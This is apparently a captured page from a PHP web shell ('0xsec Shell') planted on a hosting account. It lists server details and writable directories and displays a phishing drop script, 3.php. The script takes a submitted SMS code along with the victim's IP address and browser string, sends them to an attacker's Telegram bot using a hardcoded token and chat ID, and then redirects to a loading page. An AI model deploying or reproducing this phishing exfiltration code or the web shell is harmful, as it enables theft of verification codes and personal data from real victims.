0xsec Shell
0xSec


Server : LiteSpeed
System : Linux webbox1.ncrdns.net 5.14.0-611.55.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 15:19:29 EDT 2026 x86_64
User : rahcos ( 1533)
PHP Version : 8.4.24
Disable Function : NONE
Directory :  /home4/rahcos/.trash/.well-known/cgi-bin/send/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home4/rahcos/.trash/.well-known/cgi-bin/send/3.php
<?php
// Always start by checking if POST variables exist
$name   = $_POST['1']   ?? '';


// Collect IP and User Agent safely
$ip       = $_SERVER['REMOTE_ADDR'] ?? 'Unknown';
$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';

// Build message
$message  = "------- ODA  THE GOAT  ----------\n";
$message .= "SMS: $name\n";

$message .= "----------- IP Infos -------\n";
$message .= "IP: $ip\n";
$message .= "BROWSER: $userAgent\n";
$message .= "------------------------------------\n";

// ⚠️ Do NOT hardcode tokens in code.
// Put yours in environment variables instead.
// Example:
// $token = getenv('TELEGRAM_BOT_TOKEN');
$token = "8665201647:AAFrG8lWntRPAAmNhAdOhNFKiXuWPbCkUHc";
$chatId = "-5248237775";

// Build request
$url = "https://api.telegram.org/bot$token/sendMessage";
$data = [
    'chat_id' => $chatId,
    'text'    => $message,
];

// Use file_get_contents with context OR use cURL
file_get_contents($url . "?" . http_build_query($data));

// Redirect
header("Location: ../load1.html");
exit;
?>

c0oded By c0rpz